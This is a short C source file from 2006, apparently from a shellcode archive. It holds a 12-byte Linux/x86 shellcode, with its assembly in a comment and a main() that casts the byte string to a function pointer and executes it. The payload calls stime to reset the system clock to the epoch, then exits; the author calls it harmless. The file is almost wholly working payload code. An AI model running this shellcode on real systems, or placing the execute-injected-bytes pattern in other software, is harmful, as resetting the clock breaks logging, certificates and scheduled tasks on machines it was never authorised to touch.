/* By Kris Katterjohn 11/18/2006 * * 12 byte shellcode to set system time to 0 and exit. No real damage :) * * exit() code is the last 5 bytes (0x6a - 0x80) * * for Linux/x86 * * * * section .text * * global _start * * _start: * * ; stime([0]) * * push byte 25 * pop eax * cdq * push edx * mov ebx, esp * int 0x80 * * ; exit() * * inc eax * int 0x80 */ main() { char shellcode[] = "\x6a\x19\x58\x99\x52\x89\xe3\xcd\x80\x40\xcd\x80"; (*(void (*)()) shellcode)(); }